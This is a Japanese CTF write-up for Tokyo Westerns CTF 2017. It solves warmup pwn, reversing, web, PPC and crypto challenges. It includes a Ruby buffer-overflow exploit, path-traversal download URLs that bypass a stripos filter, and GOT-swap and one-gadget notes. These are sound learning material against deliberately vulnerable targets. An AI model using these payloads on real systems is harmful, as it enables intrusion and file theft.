Tokyo Westerns CTF 3rd 2017 Writeup

https://tokyowesterns.github.io/ctf2017/ja/index.html

nicklegrで個人参加。
146点で179位(901チーム中)でした。
解いたチーム数で得点が変動するシステム。

Warmup問題しか解けませんでしたが、その他も良問の予感がしました。

今回は[pwnlib.rb](https://github.com/Charo-IT/pwnlib/blob/master/pwnlib.rb)をお借りしました。PwnはもちろんPPCでも便利でした。

# Welcome!!

```
The flag is "TWCTF{Welcome_To_TWCTF2017!!}".
```

# Just do it! (Pwn)

私でも解けた、やるだけpwn問題。

flagは`0x804a080`に読み込まれる。
送信した文字列は`ebp-0x28`から書き込まれ、バッファは`0x10`バイトだが`0x20`バイトまでオーバーフローする。
`"Invalid Password"`へのポインタが`ebp-0x14`にあるので、ここをflagのアドレスで上書きすればいい。
正しいパスワードを入力すると`ebp-0x14`が上書きされ、逆に失敗する。

```ruby
require_relative "pwnlib"

host = "pwn1.chal.ctf.westerns.tokyo"
port = 12482

PwnTube.open(host, port) do |tube|
  payload = [0x0].pack("C") * (0x28 - 0x14) + "\x80\xa0\x04\x08"
  tube.recv_until("Input the password.\n")
  tube.sendline(payload)
  puts tube.recv_until("\n")
end
```

```
TWCTF{pwnable_warmup_I_did_it!}
```

# Rev Rev Rev (Reverse)

やってることはこんな感じ。

```cpp
#include <stdio.h>
#include <string.h>

typedef char s8;
typedef unsigned char u8;

void remove_newline(u8* input)
{
    *strchr((char*)input, '\n') = 0;
}

void str_reverse(u8* input) // sub_80486db
{
    u8* p = input;
    u8* pLast = input + strlen((char*)input) - 1;

    while (p < pLast)
    {
        u8 pChar = *p;
        *p = *pLast;
        *pLast = pChar;
        p++;
        pLast--;
    }
}

u8 char_shuffle(u8 v)
{
    // x == eax
    // ebp-0x5 == v

    u8 x = v;
    x &= 0x55; // 0b01010101
    x += x;
    u8 y = x;

    x = v;
    x = (x & 0x80) | (x >> 1); // x >>= 1; // signed
    x &= 0x55;
    x |= y;
    v = x;

    // 08048768  0fbe45fb           movsx   eax, byte [ebp-0x5 {x}]
    x &= 0x33; // 0b00110011
    x <<= 2;
    y = x;

    // 08048774  0fb645fb           movzx   eax, byte [ebp-0x5 {x}]
    x = v;
    x = (x & 0x80) | ((x & 0x80) >> 1) | (x >> 2); // x >>= 2; // signed
    x &= 0x33;
    x |= y;
    v = x;

    // 08048783  0fbe45fb           movsx   eax, byte [ebp-0x5 {x}]
    x <<= 4;
    y = x;

    // 0804878c  0fb645fb           movzx   eax, byte [ebp-0x5 {x}]
    x = v;
    x >>= 4;
    x |= y;

    return x;
}

void str_shuffle(u8* input) // sub_8048738
{
    u8* p = input;

    while(*p)
    {
        *p = char_shuffle(*p);
        p++;
    }
}

void str_not(u8* input) // sub_80487b2
{
    u8* p = input;

    while(*p)
    {
        u8 x = *p;
        x = ~x;
        *p = x;
        p++;
    }
}

int main(void)
{
    puts("Rev! Rev! Rev!");
    printf("Your input: ");

    u8 input[0x21 + 1];
    fgets((char*)input, 0x21, stdin); // 最大0x20文字 + \n

    remove_newline(input);
    str_reverse(input);
    str_shuffle(input);
    str_not(input);

    // mov     eax, dword [804a038]
    u8 key[] = {
        0x41, 0x29, 0xd9, 0x65, 0xa1, 0xf1, 0xe1, 0xc9,
        0x19, 0x09, 0x93, 0x13, 0xa1, 0x09, 0xb9, 0x49,
        0xb9, 0x89, 0xdd, 0x61, 0x31, 0x69, 0xa1, 0xf1,
        0x71, 0x21, 0x9d, 0xd5, 0x3d, 0x15, 0xd5, 0x00, // 31文字
    };

    if (strcmp((char*)input, (char*)key) == 0) {
        puts("Correct!");
    } else {
        puts("Invalid!");
    }

    return 0;
}
```

これを逆算する。
`str_shuffle()`がよくわからなかったので変換テーブルを作って逆引きしたけど、実は2回やると元に戻るらしい。

なので関数をそのまま使って逆順に処理するのでもOK。
ただ`key`の最後が`0x00`になってるので、`strlen`ではなく固定で32文字処理するように書き換えが必要。

```
TWCTF{qpzisyDnbmboz76oglxpzYdk}
```

# Freshen Uploader (Web)

アップロード機能がないアップローダ。

## Flag 1

ファイル名が指定できるならコレでしょう。
http://fup.chal.ctf.westerns.tokyo/download.php?f=../download.php 

```
TWCTF{then_can_y0u_read_file_list?}
```

## Flag 2

さっきダウンロードしたソースを見ると

```php:download.php
$filename = $_GET['f'];
if(stripos($filename, 'file_list') != false) die();
```

[striposのリファレンス](http://php.net/manual/ja/function.stripos.php)を見る。

```php
// === を使用していることに注意しましょう。単に == としても期待通りに動作
// しません。なぜなら 'a' は 0 番目(最初) の文字だからです。
if ($pos2 !== false) {
    echo "We found '$findme' in '$mystring2' at position $pos2";
}
```

なるほど素晴らしい仕様だ。
先頭にダミーの`file_list`を入れて、`../../`で帳尻を合わせる。

http://fup.chal.ctf.westerns.tokyo/download.php?f=file_list/../../file_list

違うか…なんだろ

別の問題をやったあとで戻ってきて、何気なくコレを撃ったら
http://fup.chal.ctf.westerns.tokyo/download.php?f=../index.php

```php:index.php
include('file_list.php');
```

ああなるほど。ファイルリストもphpなのか。
http://fup.chal.ctf.westerns.tokyo/download.php?f=file_list/../../file_list.php

```php:file_list.php
<?php
$files = [
  [FALSE, 1, 'test.cpp', 192, '6a92b449761226434f5fce6c8e87295a'],
  [FALSE, 2, 'test.c', 325, '27259bca9edf408829bb749969449550'],
  [TRUE, 3, 'flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213', 1337, 'flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213'],
  [FALSE, 4, 'test.py', 94, '951470281beb8a490a941ac73bd10953'],
];
```

http://fup.chal.ctf.westerns.tokyo/download.php?f=flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213

```
TWCTF{php_is_very_secure}
```

まったくですね。絶対書きたくない。

# Palindromes Pairs - Coding Phase - (PPC)

```
####################################
#        Palindromes Pairs         #
####################################

A word is called "palindrome" if it reads the same backward as forward.
For instance, "cbabc", "cbc", "a", "caac" and "deaed" are palindromes.

Given the list of words s_1, s_2, s_3, ..., s_n,
your task is the count pair (i, j) that the concatenation of s_i and s_j is palindrome.


Input Format:
The first line contains n.
The second line contains s_1, s_2, s_3, ..., s_n separated by space.
n
s_1 s_2 s_3 ... s_n

Output Format:
Your program must output the number of pairs in one line.

Conditions:
 * n <= 50
 * |TestCase| = 50
 * Each word only contains lower alphabets.

Example Input 1:
3
a ba cab

Example Output 1:
3

Explanation of Example1:
'aa' (1,1), 'aba' (1,2), 'bacab' (2,3)

Example Input 2:
5
a aa aaa aaaa aaaaa

Example Output 2:
25


----- START -----
Input 1/50
28
h jl lca oh uqn ls r o vi pg j c iph kbn n caq pjw u rb lb tfq u w br bjh xl j qfd
```

回答より通信部分の方が手間なやつだ。

```ruby
require "pp"
require_relative "pwnlib"

host = "ppc1.chal.ctf.westerns.tokyo"
port = 8765

def count(strs)
  c = 0
  for i in 0 ... strs.size
    for j in 0 ... strs.size
      s = strs[i] + strs[j]
      c += 1 if s == s.reverse
    end
  end
  c
end

PwnTube.open(host, port) do |tube|
  s = tube.recv_until(/Input \d+\/\d+\n/)
  s =~ /\d+\/(\d+)/

  num = $1.to_i
  puts "[+] #{num} problems"

  num.times do
    n = tube.recv_until(/(\d+)\n/).to_i
    strs = tube.recv_until("\n").split
    pp n, strs

    ans = count(strs)
    pp ans

    tube.sendline(ans.to_s)

    tube.recv_until(/Input \d+\/\d+\n/)
  end
end
```

```
Correct!

Congratulations! The Flag is 'TWCTF{find_favorite_smell}'.
```

# My Simple Cipher (Crypto)

```py:cipher.py
#!/usr/bin/python2

import sys
import random

key = sys.argv[1]
flag = '**CENSORED**'

assert len(key) == 13
assert max([ord(char) for char in key]) < 128
assert max([ord(char) for char in flag]) < 128

message = flag + "|" + key

encrypted = chr(random.randint(0, 128))

for i in range(0, len(message)):
  encrypted += chr((ord(message[i]) + ord(key[i % len(key)]) + ord(encrypted[i])) % 128)

print(encrypted.encode('hex'))
```

```text:encrypted.txt
7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e

```

`key`と`flag`で未知数が2つなので、どちらかを固定しないといけない。
`flag`は`TWCTF{xxxx}`のフォーマットのはずなので、`key`の最初の6文字は逆算できる。

```ruby
message = "TWCTF{xxxx}" + "|" + "0123456789012"
encrypted = "7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e"

message_ords = message.each_char.to_a.map{|e| e.ord}
encrypted_ords = [encrypted].pack("H*").unpack("c*")

key = ""
for i in 0...message.size
  key_ord = encrypted_ords[i+1] - message_ords[i] - encrypted_ords[i]
  key_ord += 128 while key_ord < 0
  key += key_ord.chr
end

puts key
# => "ENJ0YH???????"
```

これでデコードしてみると、

```ruby
encrypted = "7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e"
encrypted_ords = [encrypted].pack("H*").unpack("c*")

key = "ENJ0YH???????"
key_ords = key.each_char.to_a.map{|e| e.ord}

message = ""
for i in 0...encrypted_ords.size-1
  message_ord = encrypted_ords[i+1] - key_ords[i % key.size] - encrypted_ords[i]
  message_ord += 128 while message_ord < 0
  message += message_ord.chr
end

puts message
# => TWCTF{1{wkgX-is-funXXz@A\0YHOLID/bX
```

なんか中途半端に解けてる。
`message`と`key`が一文字ずつ対応するので、対応する位置は正しくデコードできてるはず。並べてみると

```
msg: TWCTF{1{wkgX-is-funXXz@A\0YHOLID/bX
key: ENJ0YH???????ENJ0YH???????ENJ0YH???
```

`ENJ0YHOLID???` までわかった。同様にもう一度デコードすると

```
TWCTF{CrypvXXis-fun!}|EPdXYHOLIDAY!
```

`key`は`ENJ0YHOLIDAY!`でした。

```
TWCTF{Crypto-is-fun!}
```

# swap (Pwn)

解けなかった。

入力した2つのアドレスの内容を入れ替えてくれるプログラム。
入れ替えるのは8バイト。`memcpy`を使うのでアラインメント制限はなし。

`puts`と`atoi`のGOT(`0x601018`と`0x601050`)を入れ替えると、

- メッセージが出なくなるが問題なく動作する
  - 両者の引数が`const char*`で同じなのと、`puts`の戻り値は全て捨てているため
- `puts`は出力した文字数を返すので、送った文字数に応じてメニュー番号も指定できる

という面白い性質を見つけたけど、アドレスのリークができずにその先に進めなかった。残念。

libcにOne-gadget RCEがあったので、そこに飛ばせばよさそうなんだけど。

```
45271:
  rax == 0
  [rsp+0x30] == 0

f027b:
  rax == 0
  [rsp+0x50] == 0

f111e:
  rax == 0
  [rsp+0x70] == 0
```

# 他の人のWriteup

- http://qiita.com/kusano_k/items/b1fff79d535f4b26cdd0
- https://blog.myon.info/entry/2017/09/04/twctf-2017-writeups/
- http://pwn.megumi.sh/entry/2017/09/05/121500
- http://pwn.megumi.sh/entry/2017/09/05/123954
- https://blog.tyage.net/?p=1043
- http://corb3nik.github.io/blog/tokyo-westerns-2017/super-secure-storage
- https://rawsec.ml/en/Tokyo-Westerns-2017-write-ups/#freshen-uploader-web
- https://gist.github.com/niklasb/85ce3fec31cc58c804a277acc000ed23
- https://gist.github.com/bkth/eea0d2d8a4de7e5bb2ce5e5f7a3d2608
- https://gist.github.com/sroettger/1f0c87bee7c5c560dabb949a4fe535a1
- https://elliptic-shiho.github.io/ctf-writeups/#!ctf/2017/TokyoWesterns%20CTF%203rd/README.md
- https://gist.github.com/Bono-iPad/83bab2bed611a8d3fa5d28f42b9cb79a
- https://gist.github.com/Bono-iPad/80183669429319d1dd602f24dd37f44e
- http://mslc.ctf.su/wp/twctf-2017-solutions-for-babypinhole-liars-trap-palindrome-pairs-challenge/
- https://github.com/scwuaptx/CTF/tree/master/2017-writeup/twctf
- https://github.com/xerosec/CTFs/blob/master/tw2017/swap.py